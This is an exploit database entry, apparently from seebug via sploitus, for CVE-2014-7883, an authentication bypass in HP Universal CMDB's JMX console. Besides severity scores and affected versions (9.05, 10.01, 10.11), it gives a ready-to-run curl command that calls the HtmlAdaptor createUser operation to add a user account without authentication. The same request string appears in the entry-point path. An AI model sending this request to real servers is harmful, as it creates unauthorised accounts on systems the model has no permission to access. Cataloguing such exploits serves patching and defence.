Exploit for Hewlett-Packard UCMDB - JMX-Console Authentication Bypass

CVE-2014-7883

seebug · 2015-09-06

Description

Hewlett-Packard UCMDB JMX-Console Authentication Bypass CVE-2014-788

Entry point

Parameteraction · header

Pathjmx-console/HtmlAdaptor?action=invokeOpByName&name=UCMDB%3Aservice%3DAuthorization+Services&methodName=createUser&arg0=&arg1=zdi-poc&arg2=pocuser&arg3=zdi-poc&arg4=pocuser

HTTP TRACE enabled on UCMDB Probe endpoint could expose sensitive information via response headers

Affected Hp Universal Configuration Management Database versions

Hp Universal Configuration Management Database= 9.05, 10.01, 10.11

All known vulnerabilities by product

Hp Universal Cmdb (Ucmdb) Probe

CVSS 5.0 for CVE-2014-7883

5.0

MEDIUM SEVERITY

VectorAV:NETWORK/AC:LOW/Au:NONE/C:PARTIAL/I:NONE/A:NONE/

EPSS Score

37.0%higher than 98.3% of all CVEs

Updated 2026-06-16

Exploit Details

Modified:2015-09-06 00:00

Last Seen:2017-11-19 12:29

Reporter:Jeremy_he

Other exploits for CVE-2014-7883

Hewlett-Packard UCMDB 10.10 JMX-Console Authentication Bypass Vulnerability

2015-02-04 Hans-Martin MuenchZDT

Hewlett-Packard (HP) UCMDB - JMX-Console Authentication Bypass

2015-02-03 Hans-Martin MuenchEXPLOITDB

Hewlett-Packard (HP) UCMDB - JMX-Console Authentication Bypass

2015-02-03 Hans-Martin MuenchEXPLOITPACK

Hewlett-Packard UCMDB 10.10 JMX-Console Authentication Bypass

2015-02-03 Hans-Martin MuenchPACKETSTORM

Exploit Code

MARKDOWN3 lines

## https://sploitus.com/exploit?id=SSV:89314
curl -I
"http://site:8080/jmx-console/HtmlAdaptor?action=invokeOpByName&name=UCMDB%3Aservice%3DAuthorization+Services&methodName=createUser&arg0=&arg1=zdi-poc&arg2=pocuser&arg3=zdi-poc&arg4=pocuser"

Exploit Code

Share

Share on social media: